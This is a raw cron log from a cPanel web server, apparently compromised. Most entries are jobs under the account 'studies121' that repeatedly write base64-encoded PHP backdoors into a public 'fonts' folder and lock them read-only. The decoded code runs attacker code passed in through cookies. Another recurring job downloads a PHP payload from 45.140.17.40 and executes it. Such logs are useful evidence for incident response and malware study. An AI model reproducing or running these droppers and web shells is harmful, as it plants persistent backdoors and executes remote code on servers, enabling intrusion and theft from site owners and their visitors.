Sep  8 13:16:01 ip-184-168-122-23 CROND[25526]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:16:01 ip-184-168-122-23 CROND[25530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:16:01 ip-184-168-122-23 CROND[25528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:16:01 ip-184-168-122-23 CROND[25534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:16:01 ip-184-168-122-23 CROND[25535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:17:01 ip-184-168-122-23 CROND[25663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:17:01 ip-184-168-122-23 CROND[25665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:17:01 ip-184-168-122-23 CROND[25666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:17:01 ip-184-168-122-23 CROND[25667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:18:01 ip-184-168-122-23 CROND[25846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:18:01 ip-184-168-122-23 CROND[25847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:18:01 ip-184-168-122-23 CROND[25851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:18:01 ip-184-168-122-23 CROND[25848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:18:01 ip-184-168-122-23 CROND[25850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:19:01 ip-184-168-122-23 CROND[25989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:19:01 ip-184-168-122-23 CROND[25992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:19:01 ip-184-168-122-23 CROND[25991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:19:01 ip-184-168-122-23 CROND[25990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:20:01 ip-184-168-122-23 CROND[26203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:20:01 ip-184-168-122-23 CROND[26205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:20:01 ip-184-168-122-23 CROND[26212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:20:01 ip-184-168-122-23 CROND[26213]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:21:01 ip-184-168-122-23 CROND[26371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:21:01 ip-184-168-122-23 CROND[26372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:21:01 ip-184-168-122-23 CROND[26375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:21:01 ip-184-168-122-23 CROND[26373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:22:01 ip-184-168-122-23 CROND[26496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:22:01 ip-184-168-122-23 CROND[26497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:22:01 ip-184-168-122-23 CROND[26499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:22:01 ip-184-168-122-23 CROND[26504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:22:01 ip-184-168-122-23 CROND[26505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:23:01 ip-184-168-122-23 CROND[26596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:23:01 ip-184-168-122-23 CROND[26599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:23:01 ip-184-168-122-23 CROND[26598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:23:01 ip-184-168-122-23 CROND[26597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:24:01 ip-184-168-122-23 CROND[26763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:24:01 ip-184-168-122-23 CROND[26764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:24:01 ip-184-168-122-23 CROND[26765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:24:01 ip-184-168-122-23 CROND[26767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:24:01 ip-184-168-122-23 CROND[26766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:25:01 ip-184-168-122-23 CROND[26895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:25:01 ip-184-168-122-23 CROND[26899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:25:01 ip-184-168-122-23 CROND[26900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:25:01 ip-184-168-122-23 CROND[26898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:25:01 ip-184-168-122-23 CROND[26901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:25:01 ip-184-168-122-23 CROND[26902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:26:01 ip-184-168-122-23 CROND[27009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:26:01 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:26:01 ip-184-168-122-23 CROND[27012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:26:01 ip-184-168-122-23 CROND[27013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:26:01 ip-184-168-122-23 CROND[27014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:27:01 ip-184-168-122-23 CROND[27121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:27:01 ip-184-168-122-23 CROND[27122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:27:01 ip-184-168-122-23 CROND[27124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:27:02 ip-184-168-122-23 CROND[27126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:28:01 ip-184-168-122-23 CROND[27210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:28:01 ip-184-168-122-23 CROND[27211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
